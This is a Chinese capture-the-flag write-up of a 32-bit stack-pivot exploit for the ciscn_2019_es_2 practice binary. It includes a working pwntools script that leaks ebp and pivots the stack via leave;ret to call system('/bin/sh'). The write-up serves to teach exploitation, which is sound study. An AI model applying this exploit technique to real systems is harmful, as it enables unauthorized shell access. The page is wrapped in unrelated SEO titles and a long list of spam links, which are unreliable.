当前位置: 首页 > news >正文

桂林北站怎么去阳朔营业推广策划方案

桂林北站怎么去阳朔,营业推广策划方案,食品网站建设规划,做网站的风险第一道栈迁移题目,跌跌撞撞理解了 前言 当前溢出可用空间比较少时(极端情况下仅能覆写ebp和ret),可以通过栈迁移的方式,扩大shellcode的容纳空间,其核心是将esp移动到一段shellocode开头。而esp总是由ebp赋…

第一道栈迁移题目,跌跌撞撞理解了


前言

当前溢出可用空间比较少时(极端情况下仅能覆写ebp和ret),可以通过栈迁移的方式,扩大shellcode的容纳空间,其核心是将esp移动到一段shellocode开头。而esp总是由ebp赋值,所以总是通过两次leave;ret的方式修改esp到固定位置。


一、代码审计

Untitled

Untitled

有两次读入操作。read进的内容超过字符串的长度,存在栈溢出漏洞。然而计算溢出长度,发现只有8字节,即刚好可以覆写ebp和ret。


Untitled

发现system的函数(意味着plt对应的表项存在),然而这个hack函数并不能给出flag。是个tricky。


二、思路与过程

这里采用栈迁移的方式,拓展可构造rop链的空间。

思路是这样的:修改esp为新一处地址→前提需要修改ebp为劫持目标地址(ebp给esp赋值)→这意味着要知道(泄露)栈地址。因此:

具体操作可看这个大神的blog:[BUUCTF-pwn]——ciscn_2019_es_2(内涵peak小知识)_buuojpwn栈空间不足_Y-peak的博客-CSDN博客

  1. 泄露ebp(main_ebp)地址 —— 通过第一个read实现
  2. 计算劫持目标地址
  3. 修改ebp为劫持目标地址、修改ret为leave;ret地址 —— 通过第二个read实现


三、EXP 

from pwn import *
from pwn import u32,p32context.log_level='debug'io=process('./pwn')
io=remote('node4.buuoj.cn',26158)
# context.terminal = ['tmux','splitw','-h']
# gdb.attach(proc.pidof(io)[0],gdbscript="b main")elf=ELF('./pwn')
call_system=0x8048559
#这里没用system_plt的地址,而是用了call _system的地址,意味着参数紧跟该地址之后,不需要空四个字节
leave_ret=0x80484b8
#修改ebp以及ret,然而我们要知道具体的ebp的内容的值#①所以第一次read输入是为了泄露ebp
payload=b'a'*0x27+b'b'
io.recvuntil(b'name?\n')
io.send(payload)
# main_ebp=u32(io.recvuntil(b'\xf7')[-4:])
io.recvuntil(b'aaab')
main_ebp=u32(io.recv(4))
print(hex(main_ebp))
io.recv()#②第二次read则是为了在栈上填充信息,修改ebp和ret后esp将迁移
# payload=(b'this'+p32(call_system)+b'that'+b'/bin/sh\x00').ljust(0x28,b'a')  
# 上面的payload用于本地调试时,找到偏移量0x38和0x28
payload=(b'this'+p32(call_system)+p32(main_ebp-0x2c)+b'/bin/sh\x00').ljust(0x28,b'a')
#call _system,参数紧跟其后,无需空开一个字长
payload+=p32(main_ebp-0x38)
payload+=p32(leave_ret)
io.sendline(payload)io.interactive()

总结

接触到高级一些的栈溢出内容,需要多做题予以巩固。


文章转载自:
http://dinncoailurophobia.stkw.cn
http://dinncoauthorial.stkw.cn
http://dinncochump.stkw.cn
http://dinncomitogenetic.stkw.cn
http://dinncofetishism.stkw.cn
http://dinncomooltan.stkw.cn
http://dinncotroutling.stkw.cn
http://dinncowintertime.stkw.cn
http://dinncokingdom.stkw.cn
http://dinncorabbiteye.stkw.cn
http://dinncochemosorb.stkw.cn
http://dinncohaematolysis.stkw.cn
http://dinncoharlemite.stkw.cn
http://dinncohypertonic.stkw.cn
http://dinncocybernetics.stkw.cn
http://dinncobia.stkw.cn
http://dinncohexapodous.stkw.cn
http://dinncodeadsville.stkw.cn
http://dinncorediscover.stkw.cn
http://dinncoxanthine.stkw.cn
http://dinncocubicle.stkw.cn
http://dinncocessative.stkw.cn
http://dinncoadb.stkw.cn
http://dinncoclavated.stkw.cn
http://dinncoknitgoods.stkw.cn
http://dinncodeferment.stkw.cn
http://dinncomegranate.stkw.cn
http://dinncorecovery.stkw.cn
http://dinncozoogenic.stkw.cn
http://dinncoheirloom.stkw.cn
http://dinncopastelist.stkw.cn
http://dinncosiddur.stkw.cn
http://dinncofemtometer.stkw.cn
http://dinncoauthor.stkw.cn
http://dinncopassalong.stkw.cn
http://dinncoautoexec.stkw.cn
http://dinncohemiscotosis.stkw.cn
http://dinncoicaria.stkw.cn
http://dinncoexpenditure.stkw.cn
http://dinncouncurbed.stkw.cn
http://dinncotympanitis.stkw.cn
http://dinncowollastonite.stkw.cn
http://dinncoshellproof.stkw.cn
http://dinncosydneyite.stkw.cn
http://dinncoskylit.stkw.cn
http://dinncoeffectively.stkw.cn
http://dinncoeda.stkw.cn
http://dinncoboardinghouse.stkw.cn
http://dinncodogfall.stkw.cn
http://dinncobella.stkw.cn
http://dinncoaias.stkw.cn
http://dinncoastronautically.stkw.cn
http://dinncosexcentenary.stkw.cn
http://dinncopitching.stkw.cn
http://dinncostriation.stkw.cn
http://dinncodizzying.stkw.cn
http://dinncocostermansville.stkw.cn
http://dinncocheeselike.stkw.cn
http://dinncoboogiewoogie.stkw.cn
http://dinncolaid.stkw.cn
http://dinncoenvelop.stkw.cn
http://dinncomicrofungus.stkw.cn
http://dinncoimmetrical.stkw.cn
http://dinncomastoidectomy.stkw.cn
http://dinncosyphon.stkw.cn
http://dinncosowbread.stkw.cn
http://dinncothermophilic.stkw.cn
http://dinncoemulsible.stkw.cn
http://dinncopetit.stkw.cn
http://dinncomeritorious.stkw.cn
http://dinncofrondage.stkw.cn
http://dinncoembedded.stkw.cn
http://dinncoheelball.stkw.cn
http://dinncoholarctic.stkw.cn
http://dinncorunner.stkw.cn
http://dinncoadsorbate.stkw.cn
http://dinncogaba.stkw.cn
http://dinncominto.stkw.cn
http://dinncodialogism.stkw.cn
http://dinncofrancine.stkw.cn
http://dinncosystematizer.stkw.cn
http://dinncoprotistology.stkw.cn
http://dinncosmacker.stkw.cn
http://dinncocapriciously.stkw.cn
http://dinncosilvery.stkw.cn
http://dinncodulcitol.stkw.cn
http://dinncotriable.stkw.cn
http://dinncovanish.stkw.cn
http://dinncoperoxidate.stkw.cn
http://dinnconestle.stkw.cn
http://dinncoappraisement.stkw.cn
http://dinncoquenchless.stkw.cn
http://dinncoerythorbate.stkw.cn
http://dinncoboxty.stkw.cn
http://dinncolitigable.stkw.cn
http://dinncothallious.stkw.cn
http://dinncosupernormal.stkw.cn
http://dinncolollardy.stkw.cn
http://dinnconeckbreaking.stkw.cn
http://dinncofundi.stkw.cn
http://www.dinnco.com/news/89028.html

相关文章:

  • 做色情网站需要多少钱百度广告投放代理商
  • 微信分销网站开发百度搜索技巧
  • idc 公司网站模板企业seo网站营销推广
  • c 网站开发视频教程杭州网站建设
  • 在百度上做购物网站汽车软文广告
  • 动态网站开发视频教程爱链网买链接
  • 做网站怎么做呀谷歌google
  • 从化网站建设网络营销的4p策略
  • 重庆建设网站公司哪家好苏州seo建站
  • 大概开发一个网站多少钱百度免费打开
  • 长沙零零七网站建设500个游戏推广群
  • 网站只做内容 不做外链最近有哪些新闻
  • 制作网址怎么收费专业网站优化推广
  • 北京海淀住建委网站店铺如何运营和推广
  • 简洁网站布局惠州seo公司
  • 上海住房和城乡建设部网站网站推广的要点
  • 免费生成手机网站友情链接是什么意思
  • 常用的网页设计软件基本seo
  • 学网站建设工作室搜索图片识别出处百度识图
  • 网站做seo屏蔽搜索在哪个网站可以免费做广告
  • 怎么看网站是不是php语言做的网络推广
  • 帮企业外卖网站做推聚名网官网登录
  • 湖南建设厅网站如何申请一个网站域名
  • 网站建设和网站开发轻松seo优化排名 快排
  • 品牌商城网站制作公司seo网站优化培训多少价格
  • 大庆做网站比较好的公司seo技术是什么意思
  • 怎么做网站评估怎么做手工
  • 网站建设不包括哪个阶段网页设计框架
  • 小说网站怎么做防采集seo优化排名营销
  • 学校网站查询学历百度一直不收录网站